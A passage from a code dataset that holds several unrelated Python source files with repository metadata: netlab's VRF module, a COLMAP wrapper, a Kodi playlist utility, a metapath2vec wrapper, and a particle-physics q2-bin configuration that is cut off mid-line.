   (asn,vid) = str(value).split(':')\n  except Exception as ex:\n    return None\n\n  try:\n    return [int(asn),int(vid)]\n  except Exception as ex:\n    try:\n      netaddr.IPNetwork(asn)\n      return [asn,int(vid)]\n    except Exception as ex:\n      return None\n\ndef get_next_vrf_id(asn: str) -> typing.Tuple[int,str]:\n  rd_set = _dataplane.get_id_set('vrf_rd')\n  id_set = _dataplane.get_id_set('vrf_rd')\n  while True:\n    vrf_id = _dataplane.get_next_id('vrf_id')\n    if not f'{asn}:{vrf_id}' in rd_set:\n      break\n\n  rd = f'{asn}:{vrf_id}'\n  rd_set.add(rd)\n  id_set.add(vrf_id)\n  return (vrf_id,rd)\n\n#\n# Normalize VRF IDs -- give a set of VRFs, change integer values of RDs into N:N strings\n# Also checks for valid naming\n#\ndef normalize_vrf_dict(obj: Box, topology: Box) -> None:\n  if not 'vrfs' in obj:\n    return\n\n  asn = None\n  obj_name = 'global VRFs' if obj is topology else obj.name\n\n  if not isinstance(obj.vrfs,dict):\n    log.error(f'VRF definition in {obj_name} is not a dictionary',log.IncorrectValue,'vrf')\n    return\n\n  for vname in list(obj.vrfs.keys()):\n    must_be_id(parent=None,key=vname,path=f'NOATTR:VRF name {vname} in {obj_name}',module='vrf')\n\n    if obj.vrfs[vname] is None:\n      obj.vrfs[vname] = {}\n    if not isinstance(obj.vrfs[vname],dict):\n      log.error(f'VRF definition for {vname} in {obj_name} should be empty or a dictionary',\n        log.IncorrectValue,\n        'vrf')\n      return\n\n    vdata = obj.vrfs[vname]\n    if 'rd' in vdata:\n      if vdata.rd is None:      # RD set to None can be used to auto-generate RD while preventing RD inheritance\n        continue                # ... skip the rest of the checks\n      if isinstance(vdata.rd,int):\n        asn = asn or get_rd_as_number(obj,topology)\n        if not asn:\n          log.error(f'VRF {vname} in {obj_name} uses integer RD value without a usable vrf.as or bgp.as AS number',\n            log.MissingValue,\n            'vrf')\n          return\n        vdata.rd = f'{asn}:{vdata.rd}'\n      elif isinstance(vdata.rd,str):\n        if parse_rdrt_value(vdata.rd) is None:\n          log.error(f'RD value in VRF {vname} in {obj_name} ({vdata.rd}) is not in N:N format',\n            log.IncorrectValue,\n            'vrf')\n      else:\n        log.error(f'RD value in VRF {vname} in {obj_name} must be a string or an integer',\n          log.IncorrectValue,\n          'vrf')\n\ndef normalize_vrf_ids(topology: Box) -> None:\n  normalize_vrf_dict(topology,topology)\n\n  for n in topology.nodes.values():\n    normalize_vrf_dict(n,topology)\n\ndef vrf_needs_id(vrf: Box) -> bool:\n  if 'rd' in vrf and 'id' in vrf:\n    return False\n  return True\n\ndef set_vrf_auto_id(vrf: Box, value: typing.Tuple[int,str]) -> None:\n  if not 'id' in vrf:\n    vrf.id = value[0]\n\n  if not 'rd' in vrf:\n    vrf.rd = value[1]\n\n#\n# Get VRF RD value needed for import/export values. \n#\n# WARNING: Global value takes precedence over node value because you might want to change per-node RD\n# values for weird topologies like hub-and-spoke\n#\ndef get_vrf_id(vname: str, obj: Box, topology: Box) -> typing.Optional[str]:\n  obj_name = 'global VRFs' if obj is topology else obj.name\n  vpath = f'vrfs.{vname}'\n  vdata = topology.get(vpath,None) or obj.get(vpath,None)\n\n  if vdata is None:\n    log.error(\n      f'Cannot get VRF ID for unknown VRF {vname} needed in {obj_name}',\n      log.MissingValue,\n      'vrf')\n    return None\n\n  if not isinstance(vdata,Box):\n    log.fatal(f'Internal error: got a VRF definition that is not a dictionary')\n    return None\n\n  if not 'rd' in vdata:\n    log.fatal(f'Internal error: VRF {vname} in {obj_name} should have a RD value by now')\n    return None\n\n  return vdata.rd\n\n#\n# Set RD values for all VRFs that have no RD attribute or RD value set to None (= auto-generate)\n#\ndef set_vrf_ids(obj: Box, topology: Box) -> None:\n  if not 'vrfs' in obj:\n    return\n\n  asn = None\n  is_global = obj is topology\n  obj_name = 'global VRFs' if is_global else obj.name\n\n  for vname,vdata in obj.vrfs.items():                      # Iterate over object VRFs\n    if not vrf_needs_id(vdata):                             # Skip if the ID/RD is set\n      continue\n\n    if not is_global and vname in topology.get('vrfs',{}):  # Can we copy the global values?\n      vdata.id = topology.vrfs[vname].id                    # ... we have to copy individual values because\n      vdata.rd = topology.vrfs[vname].rd                    # ... we cannot simply merge global into node data\n      continue                                              # ... before post-transform\n\n    asn = asn or get_rd_as_number(obj,topology)\n    if not asn:\n      log.error('Need a usable vrf.as or bgp.as to create auto-generated VRF RD for {vname} in {obj_name}',\n        log.MissingValue,\n        'vrf')\n      return\n    set_vrf_auto_id(vdata,get_next_vrf_id(asn))\n\n#\n# Set import/export route targets\n#\ndef set_import_export_rt(obj : Box, topology: Box) -> None:\n  if not 'vrfs' in obj:\n    return None\n\n  is_global = obj is topology\n  obj_name = 'global VRFs' if is_global else obj.name\n  obj_id   = 'vrfs' if obj is topology else f'nodes.{obj.name}.vrfs'\n  asn      = None\n\n  for vname,vdata in obj.vrfs.items():\n    for rtname in ['import','export']:\n      if not rtname in vdata:\n        if not is_global and vname in topology.get('vrfs',{}):        # Copy global RT into node RT if available\n          vdata[rtname] = topology.vrfs[vname][rtname]                # ... see set_vrf_ids for detailed description\n          continue                                                    # ... of this hack\n\n        vdata[rtname] = [ vdata.rd ]                                  # No usable parent RT, set RT to RD\n        continue\n\n      must_be_list(vdata,rtname,f'{obj_id}.{vname}')\n\n      rtlist = []     # The final parsed and looked-up list of RT values\n      for rtvalue in vdata[rtname]:\n        if isinstance(rtvalue,int):         # RT can be specified as an integer, in which case ASN is prepended to it\n          asn = asn or get_rd_as_number(obj,topology)\n          if not asn:\n            log.error('VRF {vname} in {obj_id} uses integer {rtname} value without a usable vrf.as or bgp.as AS number',\n              log.MissingValue,\n              'vrf')\n            continue\n          rtvalue = f'{asn}:{rtvalue}'\n        elif not isinstance(rtvalue,str):   # If RT is not an integer, it really should be a string\n          log.error('{rtname} value {rtvalue} in VRF {vname} in {obj_id} should be a string or an integer',\n            log.IncorrectValue,\n            'vrf')\n          continue\n        else:\n          if ':' in rtvalue:                # If there's a colon in RT value, then we're assuming N:N format\n            if parse_rdrt_value(rtvalue) is None:\n              log.error('{rtname} value {rtvalue} in VRF {vname} in {obj_id} is not in valid N:N format',\n                log.IncorrectValue,\n                'vrf')\n              continue\n          else:                             # Otherwise the RT value should refer to another VRF name\n            rtvalue = get_vrf_id(rtvalue,obj,topology)\n            if rtvalue is None:\n              continue            # Error message generated in get_vrf_id\n\n        rtlist.append(rtvalue)\n\n      vdata[rtname] = rtlist\n\n#\n# VRF route leaking is usually implemented through BGP VPNv4 address families\n# Check whether we have BGP AS configured on all nodes that use VRFs with route leaking\n# (identified as import or export RT not equal to [ RD ])\n#\n\ndef validate_vrf_route_leaking(node : Box) -> None:\n  for vname,vdata in node.vrfs.items():\n    simple_rt = [ vdata.rd ]\n    leaked_routes = vdata['import'] and vdata['import'] != simple_rt\n    leaked_routes = leaked_routes or (vdata['export'] and vdata['export'] != simple_rt)\n    if leaked_routes:\n      if not node.get('bgp.as',None):\n        if node.get('vrf.as',None):\n          node.bgp['as'] = node.vrf['as']\n        else:\n          log.error(\n            f\"VRF {vname} on {node.name} uses inter-VRF route leaking, but there's no BGP AS configured on the node\",\n            log.MissingValue,\n            'vrf')\n\ndef vrf_loopbacks(node : Box, topology: Box) -> None:\n  loopback_name = devices.get_device_attribute(node,'loopback_interface_name',topology.defaults)\n\n  if not loopback_name:                                                        # pragma: no cover -- hope we got device settings right ;)\n    log.print_verbose(f'Device {node.device} used by {node.name} does not support VRF loopback interfaces - skipping assignment.')\n    return\n\n  node_vrf_loopback = get_effective_module_attribute(\n                        path = 'vrf.loopback',\n                        node = node,\n                        topology = topology)\n  for vrfname,v in node.vrfs.items():\n    vrf_loopback = v.get('loopback',None) or node_vrf_loopback        # Do we have VRF loopbacks enabled in the node or in the VRF?\n    if not vrf_loopback:                                              # ... nope, move on\n      continue\n\n    # Note: set interface ifindex to v.vrfidx if you want to have VRF-numbered loopbacks\n    #\n    ifdata = data.get_box({                                           # Create interface data structure\n      'type': \"loopback\",\n      'name': f'VRF Loopback {vrfname}',\n      'neighbors': [],\n      'vrf': vrfname,})\n\n    links.create_virtual_interface(node,ifdata,topology.defaults)     # Use common function to create loopback interface\n\n    if isinstance(vrf_loopback,bool):\n      vrfaddr = addressing.get(topology.pools, ['vrf_loopback'])\n    else:\n      vrfaddr = addressing.parse_prefix(vrf_loopback)\n\n    if not vrfaddr:\n      continue\n\n    ospf_area = get_effective_module_attribute(\n                  path = 'ospf.area',\n                  link = v,\n                  node = node,\n                  topology = topology)\n\n    if ospf_area:\n      ifdata.ospf.area = ospf_area\n\n    for af in vrfaddr:\n      if af == 'ipv6':\n        ifdata[af] = addressing.get_addr_mask(vrfaddr[af],1)\n      else:\n        ifdata[af] = str(vrfaddr[af])\n      vrfaddr[af] = str(ifdata[af])                                         # Save string copy in vrfaddr, we need it later\n      node.vrfs[vrfname].af[af] = True                                      # Enable the af if not already\n\n    if not 'networks' in v:                                                 # List of networks to advertise in VRF BGP instance\n      v.networks = []\n\n    v.networks.append(vrfaddr)\n    node.interfaces.append(ifdata)\n\n    # add loopback addresses to the vrf data as well\n    v.loopback_address = vrfaddr\n\n  return\n\n\"\"\"\ncreate_vrf_links -- create VRF links based on VRF 'links' attribute\n\n* Iterate over global VRFs\n* If a VRF has 'links' attribute, verify that it's a list\n* Iterate over the 'links' list\n* Normalize every link in the list, add 'vrf: vname' attribute and append the link\n  to global list of links\n\"\"\"\n\ndef create_vrf_links(topology: Box) -> None:\n  if not 'vrfs' in topology:                                                # No global VRFs, nothing to do\n    return\n\n  for vname,vdata in topology.vrfs.items():                                 # Iterate over global VRFs\n    if not isinstance(vdata,Box):                                           # VRF not yet a dictionary?\n      continue                                                              # ... no problem, skip it\n    if not 'links' in vdata:                                                # No VRF links?\n      continue                                                              # ... no problem, move on\n\n    try:\n      must_be_list(                                                         # Verify that the 'links' attribute is a list\n        parent=vdata,\n        key='links',\n        path=f'vlans.{vname}',\n        create_empty=False,\n        module='vlans',\n        abort=True)\n    except:                                                                 # Error: not a list\n      vdata.pop('links',None)                                               # ... remove the attribute\n      continue                                                              # ... and move on\n\n    for cnt,l in enumerate(vdata.links):                                    # So far so good, now iterate over the links\n      link_data = links.adjust_link_object(                                 # Create link data from link definition\n                    l=l,\n                    linkname=f'vrfs.{vname}.links[{cnt+1}]',\n                    nodes=topology.nodes)\n      if link_data is None:\n        continue\n      link_data.vrf = vname                                                 # ... add VRF\n      link_data.linkindex = links.get_next_linkindex(topology)              # ... add linkindex (we're late in the process)\n      topology.links.append(link_data)                                      # ... and append new link to global link list\n\n    vdata.pop('links')                                                      # Finally, clean up the VLAN definition\n\nclass VRF(_Module):\n\n  def module_pre_default(self, topology: Box) -> None:\n    for attr_set in ['global','node']:\n      if not 'vrfs' in topology.defaults.attributes[attr_set]:\n        topology.defaults.attributes[attr_set].append('vrfs')\n\n  def module_pre_transform(self, topology: Box) -> None:\n    if 'vrfs' in topology:\n      try:\n        must_be_dict(\n          parent=topology,\n          key='vrfs',\n          path='topology',\n          create_empty=False,\n          abort=True,\n          module='vrf')  # Check that we're dealing with a VRF dictionary and return otherwise\n      except:\n        return\n\n    if 'groups' in topology:\n      groups.export_group_node_data(topology,'vrfs','vrf',copy_keys=['rd','export','import'])\n\n    if not 'vrfs' in topology:                          # No global VRFs, nothing to do\n      return\n\n    create_vrf_links(topology)                          # Create VRF links (and remove 'links' attribute)\n    for vname in topology.vrfs.keys():\n      must_be_dict(\n        parent=topology,\n        key=f'vrfs.{vname}',\n        path='topology',\n        create_empty=True,\n        module='vrf')\n\n      vdata = topology.vrfs[vname]\n      validate_attributes(\n        data=vdata,                                     # Validate global VRF data\n        topology=topology,\n        data_path=f'vrfs.{vname}',                      # Path to global VRF definition\n        data_name=f'VRF',\n        attr_list=['vrf','link'],                       # We're checking VLAN and link attributes\n        modules=topology.get('module',[]),              # ... against global modules\n        module_source='topology',\n        module='vrf')                                   # Function is called from 'vrf' module\n\n    log.exit_on_error()\n    normalize_vrf_ids(topology)\n    populate_vrf_static_ids(topology)\n    set_vrf_ids(topology,topology)\n    set_import_export_rt(topology,topology)\n\n  def node_pre_transform(self, node: Box, topology: Box) -> None:\n    # Check if any global vrfs need to be pulled in due to being referenced by a vlan\n    vlan_vrfs = [ vdata.vrf for vname,vdata in node.get('vlans',{}).items() if 'vrf' in vdata ]\n    if not 'vrfs' in node:\n      if not vlan_vrfs:  # No local vrfs and no vlan references -> exit\n        return\n      node.vrfs = {}     # Prepare to pull in global vrfs\n\n    if must_be_dict(\n        parent=node,\n        key='vrfs',\n        path=f'nodes.{node.name}',\n        create_empty=False,\n        module='vrf') is False:                            # Check that we're dealing with a VRF dictionary and return if there's none\n      return\n\n    for vname in set(list(node.vrfs.keys()) + vlan_vrfs):  # Filter out duplicates\n      if node.vrfs[vname] is None:\n        node.vrfs[vname] = {}\n\n      validate_attributes(\n        data=node.vrfs[vname],                        # Validate node VRF data\n        topology=topology,\n        data_path=f'nodes.{node.name}.vrfs.{vname}',  # Path to node VRF definition\n        data_name=f'VRF',\n        attr_list=['vrf','link'],                     # We're checking VLAN and link attributes\n        modules=node.get('module',[]),                # ... against node modules\n        module_source=f'nodes.{node.name}',\n        module='vrf')                                 # Function is called from 'vrf' module\n\n#      if 'vrfs' in topology and vname in topology.vrfs:\n#        node.vrfs[vname] = topology.vrfs[vname] + node.vrfs[vname]\n\n    set_vrf_ids(node,topology)\n    set_import_export_rt(node,topology)\n\n  def link_pre_transform(self, link: Box, topology: Box) -> None:\n    pass\n\n  #\n  # The post-link-transform hook must normalize VRF data and pull global VRF data into\n  # nodes so we can use the node VRF data in copy_node_data_into_interfaces module function\n  #\n  # We have to iterate over all VRF interfaces, validate VRF names (which was previously done\n  # in post-transform hook), and populate node VRF data (moved from post-transform hook)\n  #\n  def node_post_link_transform(self, node: Box, topology: Box) -> None:\n    for ifdata in node.interfaces:\n      if not 'vrf' in ifdata:                                           # Check only VRF interfaces\n        continue\n\n      vrf_data_path = f'vrfs.{ifdata.vrf}'\n      if not topology.get(vrf_data_path,None) and not node.get(vrf_data_path,None):\n        log.error(\n          f'VRF {ifdata.vrf} used on an interface in {node.name} is not defined in the node or globally',\n          log.MissingValue,\n          'vrf')\n        continue\n\n      if not ifdata.vrf in node.vrfs:                                   # Local VRF not present, mark as required\n        node.vrfs[ifdata.vrf] = {}\n\n    if not 'vrfs' in node:\n      return\n\n    for vname in node.vrfs.keys():\n      if vname in topology.get('vrfs',{}):                              # Carefully check for global VRF\n        node.vrfs[vname] = topology.vrfs[vname] + node.vrfs[vname]      # ... and do the data merge\n\n  def node_post_transform(self, node: Box, topology: Box) -> None:\n    vrf_count = 0\n\n    for ifdata in node.interfaces:\n      if 'vrf' in ifdata:\n        vrf_count = vrf_count + 1\n        if not node.vrfs[ifdata.vrf].rd:\n          log.error(\n            f'VRF {ifdata.vrf} used on an interface in {node.name} does not have a usable RD',\n            log.MissingValue,\n            'vrf')\n          continue\n\n        for af in ['v4','v6']:\n          if f'ip{af}' in ifdata:\n            node.af[f'vpn{af}'] = True\n            node.vrfs[ifdata.vrf].af[f'ip{af}'] = True\n\n    if log.debug_active('vrf'):\n      print( f\"vrf node_post_transform on {node.name}: counted {vrf_count} VRFs on interfaces\" )\n    features = devices.get_device_features(node,topology.defaults)\n    if not vrf_count and ('vrf' not in features or not features.vrf.keep_module): # Remove VRF module from the node if the node has no VRFs, unless flag set\n      node.module = [ m for m in node.module if m != 'vrf' ]\n      node.pop('vrfs',None)\n    else:\n      node.vrfs = node.vrfs or {}     # ... otherwise make sure the 'vrfs' dictionary is not empty\n      vrfidx = 100\n\n      # Check that all VRFs have a well-defined data structure (should be at this point, unless someone used groups.node_data)\n      for k,v in node.vrfs.items():\n        if v is None or not 'id' in v:\n          log.error(\n            f\"Found invalid VRF {k} on node {node.name}. Did you mention it only in groups.node_data? You can't do that.\",\n            log.IncorrectValue,\n            'vrf')\n          log.exit_on_error()\n\n      # We need unique VRF index to create OSPF processes, assign in order sorted by VRF ID \"for consistency\"\n      for v in sorted(node.vrfs.values(),key=lambda v: v.id):\n        v.vrfidx = vrfidx\n        vrfidx = vrfidx + 1\n\n      validate_vrf_route_leaking(node)\n\n      # Set additional loopbacks (one for each defined VRF)\n      vrf_loopbacks(node, topology)\n\n    # Finally, set BGP router ID if we set BGP AS number\n    #\n    if node.get('bgp.as',None) and not node.get('bgp.router_id',None):\n      _routing.router_id(node,'bgp',topology.pools)\n","repo_name":"ipspace/netlab","sub_path":"netsim/modules/vrf.py","file_name":"vrf.py","file_ext":"py","file_size_in_byte":22492,"program_lang":"python","lang":"en","doc_type":"code","stars":315,"dataset":"github-code","pt":"35"}
{"seq_id":"40621416301","text":"import os\nimport subprocess\n\n\n# $ DATASET_PATH=/path/to/dataset\n\n# $ colmap feature_extractor \\\n#    --database_path $DATASET_PATH/database.db \\\n#    --image_path $DATASET_PATH/images\n\n# $ colmap exhaustive_matcher \\\n#    --database_path $DATASET_PATH/database.db\n\n# $ mkdir $DATASET_PATH/sparse\n\n# $ colmap mapper \\\n#     --database_path $DATASET_PATH/database.db \\\n#     --image_path $DATASET_PATH/images \\\n#     --output_path $DATASET_PATH/sparse\n\n# $ mkdir $DATASET_PATH/dense\ncolmap_path = \"D:\\\\MSI_NB\\\\source\\\\util\\\\COLMAP-3.6-exe\\\\COLMAP.bat\"\n\n\ndef run_colmap(basedir, match_type, pipeline, imagedir='images', share_intrin=True):\n    logfile_name = os.path.join(basedir, 'colmap_output.txt')\n    logfile = open(logfile_name, 'w')\n\n    if \"feature_extractor\" in pipeline:\n        feature_extractor_args = [\n            colmap_path, 'feature_extractor',\n            '--database_path', os.path.join(basedir, 'database.db'),\n            '--image_path', os.path.join(basedir, imagedir),\n            '--ImageReader.camera_model', 'SIMPLE_PINHOLE'\n            # '--SiftExtraction.use_gpu', '0',\n        ]\n        if share_intrin:\n            feature_extractor_args += ['--ImageReader.single_camera', '1']\n        feat_output = (subprocess.check_output(feature_extractor_args, universal_newlines=True))\n        logfile.write(feat_output)\n        print('Features extracted')\n\n    if \"matcher\" in pipeline:\n        exhaustive_matcher_args = [\n            colmap_path, match_type,\n            '--database_path', os.path.join(basedir, 'database.db'),\n        ]\n\n        match_output = (subprocess.check_output(exhaustive_matcher_args, universal_newlines=True))\n        logfile.write(match_output)\n        print('Features matched')\n\n    if \"mapper\" in pipeline:\n        p = os.path.join(basedir, 'sparse')\n        if not os.path.exists(p):\n            os.makedirs(p)\n\n        # mapper_args = [\n        #     'colmap', 'mapper',\n        #         '--database_path', os.path.join(basedir, 'database.db'),\n        #         '--image_path', os.path.join(basedir, 'images'),\n        #         '--output_path', os.path.join(basedir, 'sparse'),\n        #         '--Mapper.num_threads', '16',\n        #         '--Mapper.init_min_tri_angle', '4',\n        # ]\n        mapper_args = [\n            colmap_path, 'mapper',\n            '--database_path', os.path.join(basedir, 'database.db'),\n            '--image_path', os.path.join(basedir, imagedir),\n            '--output_path', os.path.join(basedir, 'sparse'),  # --export_path changed to --output_path in colmap 3.6\n            '--Mapper.num_threads', '12',\n            '--Mapper.init_min_tri_angle', '4',\n            '--Mapper.multiple_models', '0',\n            # '--Mapper.extract_colors', '0',\n        ]\n\n        map_output = (subprocess.check_output(mapper_args, universal_newlines=True))\n\n        logfile.write(map_output)\n\n    if \"convert\" in pipeline:\n        converter_args = [\n            colmap_path, 'model_converter',\n            '--input_path', os.path.join(basedir, 'sparse/0'),\n            '--output_path', os.path.join(basedir, 'sparse/0'),\n            '--output_type', 'TXT',\n        ]\n\n        converter_output = (subprocess.check_output(converter_args, universal_newlines=True))\n        print('Txt model converted')\n\n        logfile.write(converter_output)\n    logfile.close()\n    print('Sparse map created')\n\n    print('Finished running COLMAP, see {} for logs'.format(logfile_name))\n","repo_name":"limacv/VideoLoop3D","sub_path":"scripts/colmaps/llffposes/colmap_wrapper.py","file_name":"colmap_wrapper.py","file_ext":"py","file_size_in_byte":3441,"program_lang":"python","lang":"en","doc_type":"code","stars":50,"dataset":"github-code","pt":"35"}
{"seq_id":"669060171","text":"import logging\nimport os.path\nfrom typing import List\n\nfrom kodi.AppConfiguration import AppConfiguration\nfrom kodi.exception.WrongTypePlaylistException import WrongTypePlaylistException\nfrom kodi.fs.FileItem import FileItem\nfrom kodi.fs.FileItemUtils import FileItemsResponse\nfrom kodi.playlist.Playlist import Playlist\nfrom kodi.playlist.PlaylistItem import PlaylistItem\nfrom kodi.playlist.playlist_constant import TITLE_TYPE, TITLE_ITEM\n\nlogger = logging.getLogger(__name__)\n\n\nclass PlaylistUtils:\n    @classmethod\n    def load_from_file(cls, path: str) -> Playlist:\n        a_path = os.path.abspath(path)\n        if not os.path.exists(a_path):\n            logger.error(\"Does not find playlist file: \" + a_path)\n            return Playlist(a_path, list())\n        playlist_items = list()\n        with open(a_path, \"r\") as playlist_file:\n            line = playlist_file.readline()\n            if not line:\n                logger.warning(\"Found empty file of playlist: \" + a_path)\n                return Playlist(a_path, list())\n            if line.rstrip() != TITLE_TYPE:\n                raise WrongTypePlaylistException(path)\n            cnt = 0\n            line = playlist_file.readline()\n            while line:\n                if line.startswith(TITLE_ITEM):\n                    line = playlist_file.readline()\n                    playlist_items.append(PlaylistItem(line))\n                    cnt += 1\n                line = playlist_file.readline()\n            if cnt == 0:\n                logger.info(\"Playlist is empty\")\n            else:\n                logger.info(\"Playlist contains \" + str(cnt) + \" items\")\n\n        return Playlist(a_path, playlist_items)\n\n    @staticmethod\n    def save_to_file(playlist: Playlist) -> str:\n        with open(playlist.path, \"w\") as dest_playlist:\n            dest_playlist.write(playlist.to_playlist())\n        return playlist.path\n\n    @staticmethod\n    def create_actual_playlist(app_config: AppConfiguration, delta: FileItemsResponse,\n                               store_items: List[FileItem],\n                               current_playlist: Playlist) -> Playlist:\n        new_playlist = Playlist(current_playlist.path, list())\n        current_playlist_items = current_playlist.items.copy()\n        sync_playlist_items = list()\n        for store_item in store_items:\n            existed = False\n            for current_playlist_item in current_playlist_items:\n                if store_item.name == current_playlist_item.name:\n                    existed = True\n                    sync_playlist_items.append(current_playlist_item)\n                    continue\n            if not existed:\n                sync_playlist_items.append(PlaylistItem(store_item.path))\n\n        for new_file_item in delta.new_items:\n            new_playlist.items.append(PlaylistItem(os.path.join(app_config.directories.store, new_file_item.name)))\n\n        cleaned_playlist_items = list()\n        for playlist_item in sync_playlist_items:\n            deleted = False\n            for deleted_file_item in delta.deleted_items:\n                if playlist_item.name == deleted_file_item.name:\n                    deleted = True\n            if not deleted:\n                cleaned_playlist_items.append(playlist_item)\n\n        for updated_file_item in delta.updated_items:\n            existed = False\n            for new_playlist_item in cleaned_playlist_items:\n                if new_playlist_item.name == updated_file_item.name:\n                    existed = True\n            if not existed:\n                cleaned_playlist_items.append(\n                    PlaylistItem(os.path.join(app_config.directories.store, updated_file_item.name)))\n\n        new_playlist.items += cleaned_playlist_items\n        return new_playlist\n","repo_name":"ArgDS/kodi-playlist-updater","sub_path":"kodi/playlist/PlaylistUtils.py","file_name":"PlaylistUtils.py","file_ext":"py","file_size_in_byte":3750,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"19046306276","text":"import json\nimport numpy as np\nimport os\nfrom skipgram import build_model, train, traning_op\nfrom genmetapaths import MetaPathGenerator\nfrom dataset import Dataset\nimport sys\nsys.path.append(\"./src/embs/metapath2vec/\")\n\n\ndef mp2vec(walk_txt,\n           node_type_txt,\n           epochs=2,\n           lr=0.01,\n           d=100,\n           window=1,\n           negative_samples=5,\n           care_type=1):\n    index_file = \"./model/mp2vec/index2nodeid.json\"\n    emb_file = \"./model/mp2vec/node_embeddings.npz\"\n    if not os.path.exists(index_file) or not os.path.exists(emb_file):\n        dataset = Dataset(random_walk_txt=walk_txt,\n                          node_type_mapping_txt=node_type_txt, window_size=window)\n        center_node_placeholder, context_node_placeholder, negative_samples_placeholder, loss = build_model(\n            BATCH_SIZE=1, VOCAB_SIZE=len(dataset.nodeid2index), EMBED_SIZE=d, NUM_SAMPLED=negative_samples)\n        optimizer = traning_op(loss, LEARNING_RATE=lr)\n        print(\"training starts.\")\n        train(center_node_placeholder, context_node_placeholder, negative_samples_placeholder,\n              loss, dataset, optimizer, NUM_EPOCHS=epochs, BATCH_SIZE=1, NUM_SAMPLED=negative_samples,\n              care_type=care_type, LOG_DIRECTORY=\"./model/mp2vec\", LOG_INTERVAL=-1,\n              MAX_KEEP_MODEL=10)\n    else:\n        print(\"Embedding file exists. Skip training.\")\n    index2nodeid = json.load(open(index_file))\n    index2nodeid = {int(k): v for k, v in index2nodeid.items()}\n    nodeid2index = {v: int(k) for k, v in index2nodeid.items()}\n    node_embeddings = np.load(emb_file)['arr_0']\n    # node embeddings of \"yi\"\n    embeidng_dict = {}\n    for node in nodeid2index.keys():\n        embeidng_dict[node] = node_embeddings[nodeid2index[node]]\n    return embeidng_dict\n","repo_name":"tzw28/EmbeddingGuidedLayout","sub_path":"src/embs/metapath2vec/metapath2vec.py","file_name":"metapath2vec.py","file_ext":"py","file_size_in_byte":1805,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"22363737783","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# vim: set sw=4 ts=4 fdm=indent fdl=2 ft=python et:\n\n# Author          : Po-Hsun Chen (pohsun.chen.hep@gmail.com)\n#                 : Pritam Kalbhor (physics.pritam@gmail.com)\n\nfrom __future__ import print_function, division\nimport os\nfrom math import sqrt\n\n# Shared global settings\nmodulePath = os.path.abspath(os.path.dirname(__file__))\n\n# q2 bins\nq2bins = {}\ndef createBinTemplate(name, lowerBd, upperBd):\n    template = {\n        'q2range': (lowerBd, upperBd),\n        'cutString': \"Q2 > {0} && Q2 < {1}\".format(lowerBd, upperBd),\n        'label': \"{0}\".format(name),\n        'latexLabel': \"{lowerBd:.2f} < q^{{2}} < {upperBd:.2f}\".format(upperBd=upperBd, lowerBd=lowerBd),\n    }\n    return template\n\nq2bins['belowJpsiA']   = createBinTemplate(\"bin1A\", 1.00, 2.00)\nq2bins['belowJpsiB']   = createBinTemplate(\"bin1B\", 2.00, 5.00)\nq2bins['belowJpsiC']   = createBinTemplate(\"bin1C\", 5.00, 8.00)\nq2bins['jpsi']         = createBinTemplate(\"bin2\", 8.00, 11.0)\nq2bins['betweenPeaks'] = createBinTemplate(\"bin3\", 11.0, 12.5)\nq2bins['psi2s']        = createBinTemplate(\"bin4\", 12.5, 15.0)\nq2bins['abovePsi2sA']  = createBinTemplate(\"bin5A\", 15.0, 17.0)\nq2bins['abovePsi2sB']  = createBinTemplate(\"bin5B\", 17.0, 19.0)\nq2bins['abovePsi2s']   = createBinTemplate(\"bin5\", 15., 19.)\nq2bins['summaryLowQ2'] = createBinTemplate(\"summaryLowQ2\", 1., 6.)\nq2bins['summary']      = createBinTemplate(\"bin0\", 1.00, 19.0)\nq2bins['summaryA']     = createBinTemplate(\"bin0A\", 1.00, 12.5)\nq2bins['summaryA']['cutString'] = \"({0}) && !({1})\".format(q2bins['summaryA']['cutString'], q2bins['jpsi']['cutString'])\nq2bins['Test1']        = createBinTemplate(\"binA\", 1.00, 3.00)\nq2bins['Test2']        = createBinTemplate(\"binB\", 3.00, 5.00)\nq2bins['summary']['cutString'] = \"(Q2 > 1. && Q2 < 19.) && !(Q2 > 8. && Q2 < 11.) && !(Q2 > 12.5 && Q2 <15.)\"\n\nq2bins['peaks']        = createBinTemplate(\"peaks\", 1., 19.)\nq2bins['peaks']['cutString'] = \"(Q2 > 8. && Q2 < 11.) || (Q2 > 12.5 && Q2 < 15.)\"\nq2bins['full'] = createBinTemplate(\"full\", 1., 19.)\n\n# SM prediction\nq2bins['belowJpsiA']['sm'] = {\n    'afb': {\n        'getVal': -0.6,\n        'getError': 0.097,\n    },\n    'fl': {\n        'getVal': 0.453,\n        'getError': 0.306,\n    }\n}\nq2bins['belowJpsiB']['sm'] = {\n    'afb': {\n        'getVal': 0.037,\n        'getError': 0.097,\n    },\n    'fl': {\n        'getVal': 0.673,\n        'getError': 0.306,\n    }\n}\nq2bins['belowJpsiC']['sm'] = {\n    'afb': {\n        'getVal': 0.077,\n        'getError': 0.097,\n    },\n    'fl': {\n        'getVal': 0.83,\n        'getError': 0.306,\n    }\n}\nq2bins['abovePsi2sA']['sm'] = {\n    'afb': {\n        'getVal': -0.206,\n        'getError': 0.030,\n    },\n    'fl': {\n        'getVal': 0.206,\n        'getError': 0.035,\n    }\n}\nq2bins['abovePsi2sB']['sm'] = {\n    'afb': {\n        'getVal': -0.406,\n        'getError': 0.030,\n    },\n    'fl': {\n        'getVal': 0.246,\n        'getError': 0.035,\n    }\n}\n\n#q2bins['summary']['sm']     = q2bins['abovePsi2sB']['sm']\n#q2bins['betweenPeaks']['sm'] = q2bins['abovePsi2sB']['sm']\n#q2bins['summaryLowQ2']['sm'] = q2bins['abovePsi2sB']['sm']\n\n# B mass regions\nbMassRegions = {}\ndef createBmassTemplate(name, lowerBd, upperBd):\n    template = {\n        'range': (lowerBd, upperBd),\n        'cutString': \"Bmass > {0} && Bmass < {1}\".format(lowerBd, upperBd),\n        'label': \"{0}\".format(name),\n    }\n    return template\n\nbMassRegions['Full'] = createBmassTemplate(\"Full\", 4.7, 6.0) # Cut off below 4.68\nbMassRegions['Fit']  = createBmassTemplate(\"Fit\",  5.2, 5.6)\nbMassRegions['SR']   = createBmassTemplate(\"SR\",   5.2, 5.5) # Signal Region\nbMassRegions['LSB']  = createBmassTemplate(\"LSB\",  4.9, 5.2) # (\"LSB\", 5.143, 5.223)\nbMassRegions['USB']  = createBmassTemplate(\"USB\",  5.6, 5.9) # (\"USB\", 5.511, 